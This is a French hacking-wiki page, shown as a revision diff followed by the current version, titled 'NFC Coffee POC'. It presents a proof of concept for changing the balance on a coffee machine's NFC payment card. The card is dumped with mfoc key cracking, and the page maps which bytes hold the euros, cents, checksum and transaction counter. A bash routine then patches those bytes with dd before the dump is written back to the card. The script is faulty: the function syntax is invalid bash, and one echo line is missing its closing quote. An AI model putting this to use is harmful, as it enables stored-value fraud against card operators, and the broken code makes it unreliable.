« NFC Coffee POC » : différence entre les versions

De HackBBS
Aller à la navigation Aller à la recherche
Aucun résumé des modifications
Ligne 10 : Ligne 10 :
Se référer aux [[Opérations de base sur le NFC]] pour plus de précisions.
Se référer aux [[Opérations de base sur le NFC]] pour plus de précisions.


mfoc -P 500 -O dumpNFC.dmp
  #!/bin/bash
  #!/bin/bash
   
   
Ligne 16 : Ligne 15 :
  # param 2: offset
  # param 2: offset
  # param 3: value
  # param 3: value
  function replaceByte() {
  function replaceByte(file, offset, value) {
     printf "$(printf '\\x%02X' $3)" | dd of="$1" bs=1 seek=$2 count=1 conv=notrunc &> /dev/null
     printf "$(printf '\\x%02X' $value)" | dd of="$file" bs=1 seek=$offset count=1 conv=notrunc &> /dev/null
  }
  }
echo "Dump de la carte..."
mfoc -P 500 -O dumpNFC.dmp
echo "Voici ce que nous recherchons:"
echo "000000AA 00DD EEFF 0000 0000 0000 0000 0000 00CC
echo "000000*A0* BBCC 0000 0000 0000 0000 0000 0000 0000"
echo "Si BB==0x55 alors AA==90 sinon AA==80"
echo "CC est un compteur du nombre de transactions réalisées"
echo "DD représente les centimes en hexa"
echo "EE représente les euro en hexa"
echo "FF est la somme en hexa de DD+EE"

Version du 10 septembre 2013 à 15:17

Hack NFC Coffeemaker for fun and profit

Processus

  1. On dump une carte existante
  2. On repère les informations qui nous intéressent
  3. On altère le dump
  4. On charge le dump altéré sur la carte

Dump d'une carte existante

Se référer aux Opérations de base sur le NFC pour plus de précisions.

#!/bin/bash

# param 1: file
# param 2: offset
# param 3: value
function replaceByte(file, offset, value) {
   printf "$(printf '\\x%02X' $value)" | dd of="$file" bs=1 seek=$offset count=1 conv=notrunc &> /dev/null
}
echo "Dump de la carte..."
mfoc -P 500 -O dumpNFC.dmp
echo "Voici ce que nous recherchons:"
echo "000000AA 00DD EEFF 0000 0000 0000 0000 0000 00CC
echo "000000*A0* BBCC 0000 0000 0000 0000 0000 0000 0000" 
echo "Si BB==0x55 alors AA==90 sinon AA==80"
echo "CC est un compteur du nombre de transactions réalisées"
echo "DD représente les centimes en hexa"
echo "EE représente les euro en hexa"
echo "FF est la somme en hexa de DD+EE"